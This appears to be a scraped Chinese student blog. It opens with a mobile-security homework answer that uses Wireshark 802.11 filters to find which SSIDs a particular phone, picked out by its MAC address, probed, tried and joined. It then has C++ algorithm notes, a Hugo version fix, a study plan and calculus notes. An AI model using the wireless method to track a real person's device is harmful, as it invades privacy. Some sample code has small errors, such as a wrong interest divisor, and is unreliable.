⽂件: 查看统计当前信号覆盖范围内⼀共有多少独⽴的SSID?其中是否包括隐藏SSID? SSID包含在哪些类型的802.11帧? 扩展:如何分析出⼀个指定⼿机在抓包时间窗⼜内在⼿机端的⽆线⽹络列表可以看到哪些SSID?这台⼿机尝试连接了哪些SSID?最终加⼊了哪些SSID? 查看统计当前信号覆盖范围内⼀共有多少独⽴的SSID?其中是否包括隐藏SSID? Wireless -> WLAN Traffic 17个独立的SSID,其中包括4个隐藏SSID SSID包含在哪些类型的802.11帧? 显示帧的类型 右键标题栏 -> Columns Preferences -> Appearance -> Columns -> + 新增列 Frame Type 筛选规则: wlan.ssid SSID包含在 Beacon Probe Response Association Request Probe Request 如何分析出⼀个指定⼿机在抓包时间窗⼜内在⼿机端的⽆线⽹络列表可以看到哪些SSID?这台⼿机尝试连接了哪些SSID?最终加⼊了哪些SSID? 查看该手机发送的Probe Request帧获取扫描列表 在Wireshark过滤器中输入 wlan.fc.type_subtype == 0x04 && wlan.sa == <手机MAC地址> 这将过滤出该手机发送的所有Probe Request帧 在这些帧中,分析 wlan.ssid 字段,即可看到手机扫描到的SSID列表 查看(Re)Association Request帧获取尝试连接的SSID 过滤器 wlan.fc.type_subtype == 0x00 && wlan.sa == <手机MAC> 这过滤出该手机的(Re)Association Request帧 分析 wlan.ssid 字段,即可看到手机尝试连接的SSID 查看(Re)Association Response帧判断是否连接成功 过滤器 wlan.fc.type_subtype == 0x01 && wlan.da == <手机MAC> 这过滤出发往该手机的(Re)Association Response帧 如果状态码字段 wlan.status_code 值为0,表示连接成功 同时也可以分析 wlan.ssid 字段,看是连接了哪个SSID 实验问题以及解决方法 网卡名称变化问题 解决; 查阅课件及相关资料后了解到,部分型号⽆线⽹卡可能会被重命名,重命名后的⽹卡名称可能是 wlan0mon 参考链接 移动互联网安全 在线课本 claude.ai

3/24/2024
articleCard.readMore

C++算法基础学习

基础算法学习 前缀和与差分 1 2 3 4 问题引入:给出一个长度为n的数组a:a[1], a[2], ..., a[n] 有m次询问 每次询问会给出一个区间[l, r] 请输出:a[l] + a[l+1] + ... + a[r] 如果使用暴力算法,时间复杂度为O(m*(r-l+1)),约为O(mn),算法如下: 1 2 3 4 5 6 7 8 9 while(m--){ int l, r; cin >> l >> r; int sum = 0; for(int i = l; i <= r; i++){ sum += a[i]; } cout << sum << endl; } 一维前缀和 定义 一维前缀和: 已知数组a:a[1], a[2], …, a[n] 其前缀和数组Sum定义为: Sum[1] = a[1] Sum[2] = a[1] + a[2] … Sum[L-1] = a[1] + a[2] + … + a[L-1] 查询数组a的区间[L, R]和: a[L] + a[L+1] + … + a[R] = Sum[R] – Sum[L-1] 例题与代码 这样,提前处理出前缀和数组Sum,每次询问就可以在O(1)的时间复杂度内得到结果,算法如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int a[maxn]; // 原始数组 int s[maxn]; // 前缀和数组 int main(){ int n, m; cin >> n >> m; for(int i = 1; i <= n; i++){ cin >> a[i]; s[i] = s[i-1] + a[i]; } while(m--){ int l, r; cin >> l >> r; cout << s[r] - s[l-1] << endl; } return 0; }//时间复杂度为O(max(n,m)) 例题: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include<bits/stdc++.h> #define MAXN 200005 int n, a[MAXN]; long long sum[MAXN], ans; int main() { std::cin >> n; for(int i = 1; i <= n; i++) { std::cin >> a[i]; sum[i] = sum[i - 1] + a[i]; } for(int i = 1; i <= n - 1; i++) ans += a[i] *(sum[n] - sum[i]); std::cout << ans << std::endl; return 0; } 一维差分 定义 一维差分 一维前缀和的逆运算 数组a:a[1], a[2], …, a[n] 数组b:b[1], b[2], …, b[n] 定义:a[i] = b[1] + b[2] + … + b[i] 则: a为b的前缀和数组 b为a的差分数组 b[1] = a[1] b[2] = a[2] - a[1] b[3] = a[3] - a[2] … b[n] = a[n] - a[n-1] 例题与代码 例题: 问题引入: 给出一个长度为n的数组a:a[1], a[2], …, a[n] 有m次询问 每次询问会给出一个区间[l, r]和一个数c 请让数组a中的[l, r]的每个数都加上c 1 2 3 4 5 6 7 8 //暴力算法 while(m--){ int l, r, c; cin >> l >> r >> c; for(int i = l; i <= r; i++){ a[i] += c; } }//时间复杂度为O(m*(r-l+1))->O(mn) a是b的前缀和数组,b是a的差分数组 先求出差分数组b,然后对b进行处理,最后再反过来求前缀和求出a数组 若b[2] = b[2] + c 则a[1] = b[1] a[2] = b[1] + b[2] + c a[3] = b[1] + b[2] + b[3] + c … a[n] = b[1] + b[2] + … + b[n] + c 可见,只要对b[l]加c,a[l]到a[n]都会加c; 所以只要对b[l]加c,b[r+1]减c即可。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int a[maxn], b[maxn]; // 原始数组和差分数组 int main(){ int n, m; cin >> n >> m; for(int i = 1; i <= n; i++){//求差分数组 cin >> a[i]; b[i] = a[i] - a[i-1]; } while(m--){//对差分数组进行处理 int l, r, c; cin >> l >> r >> c; b[l] += c; b[r+1] -= c; } for(int i = 1; i <= n; i++){//求前缀和数组 a[i] = a[i-1] + b[i]; cout << a[i] << " "; } return 0; }//时间复杂度为O(n+m) 例题: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <cstdio> #include <algorithm> using namespace std; int a[5000005],diff[5000005],n,p,mina; int main() { scanf("%d%d",&n,&p); for(int i=1;i<=n;i++) { scanf("%d",&a[i]); diff[i]=a[i]-a[i-1];//求差分数组 } for(int i=1;i<=p;i++) { int x,y,z; scanf("%d%d%d",&x,&y,&z); diff[x]+=z; diff[y+1]-=z;//对差分数组进行处理 } mina=diff[1]; for(int i=1;i<=n;i++) { a[i]=a[i-1]+diff[i]; mina=min(a[i],mina);//求前缀和数组 } printf("%d",mina);//输出 return 0; } tips 1.cin好像比scanf慢 2.最后要求最小的,一个是在最后求前缀和数组的时候,记录最小的,如果下一个是最小的 就替换掉;这里让我想起来sort函数: 1 2 3 4 5 6 7 8 #include <algorithm> int a[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; sort(a, a+10);//默认从小到大排序 bool myfunc(int a, int b){ return a > b; } sort(a, a+10, myfunc);//从大到小排序 二维前缀和与差分 问题引入: 给出一个n行m列的矩阵 有m次询问 每次询问会给出四个整数: 表示子矩阵的左上角坐标和右下角坐标 请输出子矩阵中所有数之和 n行m列的矩阵a:a[n][m] 定义前缀和矩阵为:sum[n][m] 差分矩阵为:b[n][m] 定义 二维前缀和 sum[i][j]的含义为:(1, 1)左上角到 (i, j) 右下角的子矩阵的元素之和 二维前缀和预处理公式: sum[i][j] = sum[i-1][j] + sum[i][j-1] - sum[i-1][j-1] + a[i][j] 二维差分 b[i][j] = a[i][j] - a[i-1][j] - a[i][j-1] + a[i-1][j-1] 例题与代码 求子矩阵的和,就是如图四个矩阵的加减得出。 sum(x1,y1,x2,y2)=sum[x2][y2]−sum[x1−1][y2]−sum[x2][y1−1]+sum[x1−1][y1−1] 例题: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <iostream> #include <algorithm> using namespace std; int a[1002][1002]; int b[1002][1002]; int main() { int n,m; int x1,y1,x2,y2; cin>>n>>m; for(int p=1;p<=m;p++) { cin>>x1>>y1>>x2>>y2; b[x1][y1]++; b[x2+1][y1]--; b[x1][y2+1]--; b[x2+1][y2+1]++; } for(int i=1;i<=n;i++) { for(int j=1;j<=n;j++) { a[i][j]=a[i-1][j]+a[i][j-1]-a[i-1][j-1]+b[i][j]; cout<<a[i][j]<<" "; } cout<<endl; } return 0; } tips 有+1 -1 数组大小记得多设点,别g了,不差那点 排序 常见排序 冒泡排序 $O(n^2)$ 插入排序 $O(n^2)$ 选择排序 $O(n^2)$ 桶排序 $O(max(m,n))$ 快速排序 $O(nlogn)$ 归并排序 $O(nlogn)$ 冒泡排序 定义 从数组头部开始,遍历数组中的每一个数,通过相邻两数的比较交换,每一轮循环下来找出剩余未排序数中的最大数(或者最小数)并“冒泡”至数组尾部。 优化 1.如果某一轮循环中没有发生交换,说明数组已经有序,可以提前结束循环 2.每一轮循环中,最后一次发生交换的位置之后的数都是有序的,可以记录下来,下一轮循环的终点就是这个位置 代码 1 2 3 4 5 6 7 8 9 10 11 12 void bubbleSort(int a[], int n){ for(int i = 0; i < n; i++){ bool flag = false; for(int j = 0; j < n-i-1; j++){ if(a[j] > a[j+1]){ swap(a[j], a[j+1]); flag = true; } } if(!flag) break; } } 桶排序 定义 若待排序的数据在一个明显有限范围内(整型)时,可设计有限个有序桶,每个桶中装入一个值(当然也可以装入若干个值,装入若干值时,桶内数据有序),顺序输出各桶的值,得到有序序列。 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 //输入n(1≤n≤105)个0到100的整数,输出这n个数从小到大排序的结果 #include <iostream> #include <algorithm> #include <cstring> #include <cstdio> using namespace std; int main() { int n; int a[105]; cin>>n; for(int i=1;i<=n;i++) { int x; cin>>x; a[x]++; }//O(n) for(int i=0;i<=100;i++) { for(int j=1;j<=a[i];j++) { cout<<i<<" "; } }//O(数据范围) return 0; }//时间复杂度为O(max(n,数据范围)) 快速排序 定义 通过一趟快速排序将要排序的数据分割成独立的两部分,其中一部分的所有数据都比另外一部分的所有数据都要小,然后再按此方法对这两部分数据分别进行快速排序,直到最后各部分只有单个数为止。 代码 假设数组长度为10,需要进行升序排序的数组为: array[10]={23, 12, 43, 2, 8, 18, 73, 21, 23, 35} 首先选取一个关键数据key:通常选用数组的第一个数 然后再按此方法对这两部分数据分别进行快速排序,直到最后各部分只有单个数为止。 sort函数就是快速排序的实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 //默认从小到大排序 int a[10]={23, 12, 43, 2, 8, 18, 73, 21, 23, 35}; sort(a, a+10); //自定义排序 struct stdInfo{ string name; int age; int score; }; bool cmp(stdInfo a, stdInfo b){ if(a.score != b.score) return a.score > b.score; else if(a.age != b.age) return a.age < b.age; else return a.name < b.name; } stdInfo a[10]; sort(a, a+10, cmp); 归并排序 定义 归并操作 的概念:将两个或两个以上有序的数组,合并成一个仍然有序的数组。 二路归并(两两合并)、三路归并( 三个并一个)…. 二路归并过程:从两个有序数组的表头开始 依次比较 a[i] 和 a[j] 的大小,如果 a[i] < a[j],则将 a[i] 复制到归并数组 r[k] 中,并且 i 和 k 都加 1 后移,否则将 a[j] 复制归并到 r[k] 中,并且 j 和 k 都加 1 后移;如此循环下去,直到其中一个有序表取完后再将另外一个有序表中剩余的元素复制到 r 中。 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void mergeSort(int a[], int l, int r){ if(l >= r) return; int mid = l + r >> 1;//x >> 1相当于x / 2 mergeSort(a, l, mid); mergeSort(a, mid+1, r); int i = l, j = mid+1, k = 0; while(i <= mid && j <= r){ if(a[i] <= a[j]) b[k++] = a[i++]; else b[k++] = a[j++]; } while(i <= mid) b[k++] = a[i++]; while(j <= r) b[k++] = a[j++]; for(int i = l, j = 0; i <= r; i++, j++) a[i] = b[j]; } int main(){ int a[10] = {23, 12, 43, 2, 8, 18, 73, 21, 23, 35}; mergeSort(a, 0, 9); } 分治与二分 小F同学在[1,100]中随机想了一个数字,让小伙伴们去猜,每次只告诉他们猜的数字是大了还是小了。假设小F同学现在想的是43。 二分查找 定义 用给定值k 先与中间节点的值进行比较,中间节点把数组分成两个部分,若相等则查找成功;若不相等,再根据 k 与该中间节点值的比较结果确定下一步查找哪个部分,这样递归进行,直到查找到或查找结束发现表中没有这样的数值为止。属于有序查找算法。 二分查找的前提是数组有序,无序数组需要先排序 时间复杂度为$O(log_2n)$ 代码 lowest_bound函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 //C++标准库中的二分查找函数lower_bound //形式1 返回第一个大于等于Val的第一个元素的位置 //First是数组的首地址,Last是数组的尾地址,Val是要查找的值 #include <algorithm> int a[10]={1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; int pos = lower_bound(a, a+10, 5) - a; //返回值是一个指针,减去数组首地址得到下标 //形式2 自定义比较函数 struct stdInfo{ string name; int age; int score; }; bool cmp(stdInfo a, stdInfo b){ return a.score < b.score; } stdInfo a[10]; int pos = lower_bound(a, a+10, 5, cmp) - a; upper_bound函数 1 2 3 4 //C++标准库中的二分查找函数upper_bound //返回第一个大于Val的元素的位置 int pos = upper_bound(a, a+10, 5) - a; 例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <iostream> #include <algorithm> using namespace std; int a[1000002]; int main() { int n,m; int x; int r; cin>>n>>m; for(int i=0;i<n;i++) { cin>>a[i]; } for(int j=0;j<m;j++) { cin>>x; r=lower_bound(a,a+n,x)-a; if(a[r]!=x) { cout<<-1<<" "; } else { cout<<r+1<<" "; } } return 0; } 【例2】:已知平面内有n个点,能否从中选出3个点,满足其中一个点是另外两个点的中点。(3<=n<=1000,-1000<=xi, yi<=1000) 1 2 3 4 5 //暴力算法 //枚举三个点,判断是否满足条件,时间复杂度为O(n^3) //二分算法 //枚举两个点,然后二分查找第三个点,时间复杂度为O(n^2*log2 n) tips 大数组的定义,不要定义在main函数内部,会导致栈溢出 二分查找——二分答案很多时候题目会让你去求解一个 ans ,这个 ans 有以下一些特征。比如求一个满足条件 A 的最大值/最 小值;或者求一个最大的最小值/最小的最大值,并且我们直接求解答案 A 非常困难,并且 ans 满足单调性,那么我们不妨直接二分查找最后的答案,测试它是不是满足条件。这种直接二分最后答案的算法就叫二分答案 。 分治 定义 分治法由两部分构成,先分后治。 首先将原问题分成一些小的问题进行递归求解 然后再将各个小问题得到的答案合并在一起。 利用该问题分解出的子问题的解可以合并为该问题的解:能否利用分治法的决定条件 该问题所分解出的各个子问题是相互独立的 即子问题之间不包含公共的子问题:效率 可以用分治法解决的经典问题 1.二分搜索 2.大整数乘法 3.Strassen矩阵乘法 4.棋盘覆盖 5.归并排序 6.快速排序 7.线性时间选择 8.最接近点对问题 9.循环赛日程表 10.汉诺塔 递归与递推 递归与递推 定义 递推:利用已知条件,依赖特定关系,用若干步可重复运算(通过相似的扩展步骤)进行逐步推导,直到最终得到结果。 递归:程序调用自身的编程技巧称为递归,是一个函数在其定义中直接或间接调用自身的一种方法。它通常把一个大型的复杂的问题转化为一个与原问题相似的规模较小的问题来解决,通过解决的小问题的逐步迭代,完成复杂问题的求解。 递归与递推的关系:顺推法的逆过程称为递归 递推思想的关键就是得到相邻的数据之间的递推关系。 分类: 顺推: 从条件推出结果 逆推: 从结果推出条件 例题 顺推问题: 如果1只兔子每月能生1只小兔子,而每只小兔在它出生后的第3个月就可以生1只小兔子,如果从1只初生的小兔子开始,1年后能繁殖多少兔子? 递推关系:Fn = Fn-1 + Fn-2 初始条件:F1 = 1, F2 = 1 1 2 3 4 5 6 7 8 9 int f[41]; memset(f, -1, sizeof(int)*41); int n; scanf("%d", &n); f[1] = 1; f[2] = 1; for(int i = 3; i <= n; i++){ f[i] = f[i-1] + f[i-2]; } 逆推问题: 父亲准备为小明的4年大学生活一次性在银行储蓄一笔钱,使用整存零取的方式,控制小明每月的月底只能提取2000元准备下月使用。假设银行一年整存零取的利息是1.71%,那么请计算出父亲至少需要一次性存入多少钱才够小明4年大学生活? 1 2 3 4 最后一个月的存款 2000 f(48) 倒数第二个月的存款 2000+2000/(1+1.71%/12) f(47) 倒数第三个月的存款 2000+2000/(1+1.71%/12)+2000/(1+1.71%/12)^2 f(46) ... 递推关系:f(n) = f(n+1)/(1+1.71%/12) + 2000 初始条件:f(48) = 2000 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 float i=2000; float x(int n){ if(n == 1) { cout<<"no."<<n<<":"<<i<<endl; return i; } else { cout<<"no."<<n<<":"<<i<<endl; i=i/1.1+2000; return x(n-1) ; } } int main() { cout<<x(48); return 0; } tips memset(f, -1, sizeof(int)*41); 用于初始化数组 void *memset(void *s, int ch, size_t n); 递归详解 递归是用栈机制实现的,每深入一层,都要占去一块栈数据区域,对嵌套层数深的一些算法,递归会力不从心,空间上会以栈内存崩溃而告终,而且递归也带来了大量的函数调用,这也有许多额外的时间开销。所以在深度大时,它的时空性就不好了。 递归的空间复杂度:每次函数调用都要压栈,那么空间复杂度是O(n),和递归次数呈线性关系。 递归注意事项 使用递归要注意的4条基本法则 1)基本情形:必须总要有某些基准情形,它无需递归就能解出。 分治策略的递归: 大问题化成若干小问题->小问题同样方式解决->综合起来大问题解决 回溯策略的递归: 寻找一或多组解,从一个状态到下一个状态->直到找到解或者无解 2)要有进展:对于那些需要递归求解的情形,每一次递归调用都必须要使状态朝向一种基本情形推进。 3)设计法则:假设所有的递归调用都能运行。 4)合成效益法则:在求解一个问题的同一实例时,切勿在不同的递归调用中做重复性的工作。–>记忆化搜索 例题 把n个同样的球放在k个同样的盒子里,允许盒子为空,问 共有多少种不同的分法? 注:7个球放到3个盒子,2,2,3与2,3,2是同一种分法。 分析: 分情况讨论: 第一种情况n < k时,必然有k-n个盒子是空的,它的分法和空盒子的数量没有关系,因此solve(n,k)=solve(n,n) 第二种情况n>=k时,再分两种情况讨论: a、分的时候至少有一个盒子空。这时和第一种情况类似,分法由非空的盒子分法确定,等于solve(n,k-1); b、分的时候所有盒子都有。那么每个盒子里面至少有一个,那么分配方法和每个盒子中都拿走一个是一样的,等于solve(n-k,k)。 那么n>=k时的分配方案为a和b两种情况之和,即Solve(n,k) = Solve(n,k-1)+Solve(n-k,k) 代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <iostream> #include <algorithm> using namespace std; int f(int n,int k) { if(n==1||k==1||n==0) return 1; else { if(n>=k) { return f(n-k,k)+f(n,k-1); } else { return f(n,n); } } } int main() { int n,k; cin>>n>>k; cout<<f(n,k); //如果不能为空则为: //cout<<f(n-k,k); return 0; } tips 记忆化搜索:搜索时创建数组或者其他数据结构,用来存储已经计算过的结果或已经搜索过的,避免重复计算 大问题拆成小问题,可以通过提前把小问题分别算出来,最后再合成大问题的解,相比直接将每次的大问题拆成小问题计算更好 简单数学和枚举约简 简单数学 数列 $a_n=S_n-S_{n-1}$ 组合数学 定义 组合数 是从n个不同元素中取出m个元素(m≤n)的组合数,记作C(n,m)或者C(n,m)。 计算公式 C(n,m) = n!/(m!*(n-m)!) 对称性:C(n,k)=C(n,n-k) 递推:C(n,k-1)+C(n,k)=C(n+1,k) 横向求和:ΣC(n,i)=C(n,0)+C(n,1)+C(n,2)+…+C(n,n)=2^n 组合数的计算 (1) 直接用定义计算,时间复杂度O(m)。 组合数的横向递推 时间复杂度为O(n) C(n,0)~C(n,n): C(n,0) = 1 C(n,k+1) = C(n,k) * (n-k) / (k+1) (2) 通过递推关系打表,O(n^2)打表,O(1)查询。 注意:上述方法在不取模的情况下要求n的范围非常小。 组合数的杨辉三角,纵向递推 O(n^2)的时间求出C(0,0)~C(n,n) C(i,0)=1,C(i,j)=C(i-1,j-1)+C(i-1,j) 注意在不取模的情况下,n不能超过64 1 2 3 4 5 6 7 8 9 10 11 long long c[64][64]; void init(){ for(int i = 0; i < 64; i++){ c[i][0] = 1; c[i][i] = 1; if(i == 0) continue; for(int j = 1; j <= i; j++){ c[i][j] = c[i-1][j-1] + c[i-1][j]; } } } 卢卡斯定理+逆元+快速幂 逆元:对于整数a,如果存在整数b,使得a*b=1(mod p),则b称为a的逆元,记为a^(-1)。a的逆元存在的充要条件是a与p互质。 快速幂:a^b % p = (a^(b/2) % p) * (a^(b/2) % p) % p 卢卡斯定理:C(n,m)和C(n%p, m%p) * C(n/p, m/p) 在模p下同余 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include <iostream> #include <vector> using namespace std; const int MOD = 1000000007; // 取模数 // 快速幂算法,用于计算 a^b mod p long long power(long long a, long long b, long long p) { long long result = 1; a %= p; while (b > 0) { if (b & 1) result = (result * a) % p; a = (a * a) % p; b >>= 1; } return result; } // 计算阶乘逆元表 vector<long long> calculateFactorialInverse(int n, int p) { vector<long long> factInv(n + 1); factInv[0] = factInv[1] = 1; for (int i = 2; i <= n; ++i) { factInv[i] = (factInv[i - 1] * power(i, p - 2, p)) % p; } return factInv; } // 利用卢卡斯定理计算组合数C(n, m) mod p long long lucasTheorem(int n, int m, int p, vector<long long>& factInv) { if (m == 0) return 1; int ni = n % p; int mi = m % p; if (ni < mi) return 0; return (lucasTheorem(n / p, m / p, p, factInv) * factInv[ni] % p * power(factInv[mi] * factInv[ni - mi] % p, p - 2, p)) % p; } int main() { int n = 10; // 总数 int m = 5; // 选择的数目 int p = 13; // 取模质数 vector<long long> factInv = calculateFactorialInverse(n, p); long long result = lucasTheorem(n, m, p, factInv); cout << "C(" << n << ", " << m << ") mod " << p << " = " << result << endl; return 0; } 组合用的应用 加法原理:假设事件A共有a种选取方式,事件B共有b种选取方式,并且A和B是互斥事件(A和B不能同时选取,交集为空集),那么选A或者选B的方案数是a+b。 乘法原理:假设事件A共有a种选取方式,事件B共有b种选取方式,并且A和B的选取相互独立(选A的结果不会对B的选取产生影响),那么选A之后再选B的方案数是axb。 挡板法:正整数n被拆成k个数,可以看成在长度n的线段中插入k-1个挡板分成k段,求方案数:C(n-1,k-1) 正整数拆分问题:已知正整数N,可以将它拆分为若干正整数之和,拆法S(n)=C(n-1,0)+C(n-1,1)+C(n-1,2)+…+C(n-1,n-1)=ΣC(n-1,i)(i=0~n-1)=2^(n-1) 容器原理 用于解决有重叠部分的计数问题,可以先不考虑重叠部分,将得到的方案数累加,最后再从结果中减去重复计算的部分。 枚举约简

3/14/2024
articleCard.readMore

lihan的愿望单

计算机技术 区块链 密码学 智能合约 身份认证 概率论 编译原理 网安技术 OWASP TOP 10 计算机 算法 数据结构 C++ STL Docker K8s 深度学习 电影 电视剧 白夜追凶/白夜破晓 瑞克和莫蒂 星期五 What If…? 秘密入侵 超级少女 天下第一 书籍 资本论 代码大全 景观社会 路德维希·费尔巴哈和德国古典哲学的终结 游戏 怪物猎人崛起 Albion Online 幸福工厂 Satisfactory 旅行 美食 西安 葫芦鸡 好吃 彭家正汤 好吃 老西安韩记三鲜煮馍(四府街店) 一般请客 老刘家永盛斋(东关南街店) 好吃 马老三肉丁胡辣汤(西一路店) 好吃 小杨烤肉(东新街【永兴坊】店) 一般请客 很久以前(赛格店) 好吃;请客 王魁腊汁肉店 巨好吃的肉夹馍 武汉 咖喱家 回忆 马一洒开锅羊肉 好吃 价格一般 宫略-潮汕鲜牛自助火锅 好吃 价格一般 北京 南门涮肉 味道 性价比都不错 猛古里烤肉自助 好吃 有点贵 铁板战斧|牛排餐厅 最便宜的像点样的牛排 特勒昆·蒙古手把肉 好吃 价格小贵 沣元春饼馆 好吃 便宜 电子产品 便携屏 [] 服务器 [] 高性能高续航电脑 [] nas 静音鼠标 蓝牙小耳机 [] 软路由 想学的技能 钢琴 小提琴 吉他 其他

3/12/2024
articleCard.readMore

stack主题版本更新后hugo版本依赖问题

问题 hugo主题stack版本更新到v3.24.0后,搭建网站时会出现如图报错。 解决 stack v3.24.0 版本需要 hugo 0.123.8以上版本。 更新 hugo 版本即可解决。 注意 使用时,也会出现同样的问题,需要修改.github\workflows\hugo.yml文件中的hugo版本。 1 2 3 4 5 6 jobs: # Build job build: runs-on: ubuntu-latest env: HUGO_VERSION: 0.123.8

3/12/2024
articleCard.readMore

2024初春学习计划

前言 事情有点多 有点乱 记录一下 任务 日期 任务 完成情况 2024.12.20 考研 才准备开始学 2024.3.31 ccf-csp 还没准备 2024.4.13 蓝桥杯 还没准备 2024.3-6 移动互联网安全 记得跟上进度 2024.- 音乐网站后端 gin学了点 打卡 日期 算法学习 前端 其他 例 线性表 2024.3.16 一维前缀和与差分 - - 2024.3.17 二维前缀和与差分 - - 2024.3.18 排序 - - 2024.3.19 分治与二分 - - 2024.3.20 - - 2024.3.21 - - 2024.3.22 - - 2024.3.23 - - 移动互联网安全作业1 2024.3.24 - - 移动互联网安全作业1 2024.3.25 递归和递推 - 移动互联网安全作业2 2024.3.26 - - 2024.3.27 - - 2024.3.28 - - 2024.3.29 - - 2024.3.30 简单数学 - - 2024.3.31 - - 2024.4.1 - - 2024.4.2 - - 2024.4.3 - - 2024.4.4 - 移动互联网安全作业3 2024.4.5 - - 2024.4.6-15 开摆 开摆 开摆 2024.4.16 - 移动互联网安全作业4

3/11/2024
articleCard.readMore

高等数学学习笔记

高等数学学习笔记 第一章 极限与连续 1.1 函数 1.1.1 基本概念 函数: 定义域内总有唯一的y对应x 复合函数: 设$u=φ(x)(x∈D_1)$,$y=f(u)(u∈D_2)$,对于任意$x∈D_1$,有$φ(x)∈D_2$,则y为x的复合函数,记作$y=f(φ(x))$ 反函数: 设$y=f(x)$为单调函数,$x∈D$,$y∈R$,若对于任意$y∈R$,有唯一的$x∈D$,使得$f(x)=y$,则称x是y的反函数,记作$x=f^{-1}(y)$ 基本初等函数: 幂函数: $y=x^a(a∈R)$ 指数函数: $y=a^x(a>0,a≠1)$ 对数函数: $y=log_a x(a>0,a≠1)$ 三角函数: $y=sin x,y=cos x,y=tan x,y=cot x,y=sec x,y=csc x$ 反三角函数: $y=arcsin x,y=arccos x,y=arctan x,y=arccot x,y=arcsec x,y=arccsc x$ 三角函数复习 三角函数图象和性质 函数 $y=cotx$ $y=secx$ $y=cscx$ 图象 定义域 $x≠kπ(k∈Z)$ $x≠\frac{π}{2}+kπ(k∈Z)$ $x≠kπ(k∈Z)$ 值域 $(-∞,∞)$ $(-∞,-1]∪[1,∞)$ $(-∞,-1]∪[1,∞)$ 周期性 $π$ $2π$ $2π$ 奇偶性 奇函数 偶函数 奇函数 单调性 $(kπ,kπ+π)$为减 $[2kπ,2kπ+\frac{π}{2})∪(2kπ+\frac{π}{2})$为增,$(2kπ+π,2kπ+\frac{3π}{2})∪[2kπ+\frac{3π}{2},2π+2kπ)$为减 $[2kπ+\frac{π}{2},2kπ+π)∪(2kπ+π,2kπ+\frac{3π}{2})$为增,$[2kπ-\frac{π}{2},2kπ)∪(2kπ,\frac{π}{2}+2kπ)$为减 对称中心 $(\frac{kπ}{2},0)$ $(\frac{π}{2}+kπ,0)$ $(kπ,0)$ 三角函数公式 基本公式 $sec^2x=tan^2x+1$ $csc^2x=cot^2x+1$ $sin^2x+cos^2x=1$ $tanx=\frac{sinx}{cosx}$ $cotx=\frac{cosx}{sinx}$ $secx=\frac{1}{cosx}$ $cscx=\frac{1}{sinx}$ $sinx+cosx=√2sin(x+\frac{π}{4})$ $sinx-cosx=√2sin(x-\frac{π}{4})$ 诱导公式 角\函数 sin cos tan cot -x -sinx cosx -tanx -cotx $\frac{π}{2}-x$ cosx sinx cotx tanx $\frac{π}{2}+x$ cosx -sinx -cotx -tanx π-x sinx -cosx -tanx -cotx π+x -sinx -cosx cotx tanx $\frac{3π}{2}-x$ -cosx -sinx cotx tanx $\frac{3π}{2}+x$ -cosx sinx -cotx -tanx 2π-x -sinx cosx -tanx -cotx 2π+x sinx cosx tanx cotx $sin(π±t)=∓sint$ $cos(π±t)=-cost$ $sin(\frac{π}{2}±t)=cost$ $cos(\frac{π}{2}±t)=∓sint$ 降幂公式 $sin^2x=\frac{1-cos2x}{2}$ $cos^2x=\frac{1+cos2x}{2}$ $tan^2x=\frac{1-cos2x}{1+cos2x}$ 倍角公式 $sin2x=2sinxcosx$ $cos2x=cos^2x-sin^2x=2cos^2x-1=1-2sin^2x$ $tan2x=\frac{2tanx}{1-tan^2x}$ $tan\frac{x}{2}=\frac{sinx}{1+cosx}=\frac{1-cosx}{sinx}=cscx-cotx$ 和差公式 $sin(x±y)=sinxcosy±cosxsiny$ $cos(x±y)=cosxcosy∓sinxsiny$ $tan(x±y)=\frac{tanx±tany}{1∓tanxtany}$ $cot(x±y)=\frac{cotxcoty∓1}{coty±cotx}$ 和差化积公式 $sin\alpha+sin\beta=2sin(\frac{\alpha+\beta}{2})cos(\frac{\alpha-\beta}{2})$ $sin\alpha-sin\beta=2cos(\frac{\alpha+\beta}{2})sin(\frac{\alpha-\beta}{2})$ $cos\alpha+cos\beta=2cos(\frac{\alpha+\beta}{2})cos(\frac{\alpha-\beta}{2})$ $cos\alpha-cos\beta=-2sin(\frac{\alpha+\beta}{2})sin(\frac{\alpha-\beta}{2})$ 积化和差公式 $sin\alpha sin\beta=\frac{1}{2}[cos(\alpha-\beta)-cos(\alpha+\beta)]$ $cos\alpha cos\beta=\frac{1}{2}[cos(\alpha-\beta)+cos(\alpha+\beta)]$ $sin\alpha cos\beta=\frac{1}{2}[sin(\alpha+\beta)+sin(\alpha-\beta)]$ 万能公式 $sinx=\frac{2tan\frac{x}{2}}{1+tan^2\frac{x}{2}}$ $cosx=\frac{1-tan^2\frac{x}{2}}{1+tan^2\frac{x}{2}}$ $tanx=\frac{2tan\frac{x}{2}}{1-tan^2\frac{x}{2}}$ 常见不等式与数列 常见不等式 三角不等式: $||a|-|b||≤|a±b|≤|a|+|b|$ 算数不等式: $a^2+b^2≥2ab$ $|ab|≤\frac{a^2+b^2}{2}$ a≥0时: $\frac{a_1+a_2+…+a_n}{n}≥^n√{a_1a_2…a_n}$ 柯西不等式: $(a_1^2+a_2^2+…+a_n^2)(b_1^2+b_2^2+…+b_n^2)≥(a_1b_1+a_2b_2+…+a_nb_n)^2$ 常见数列 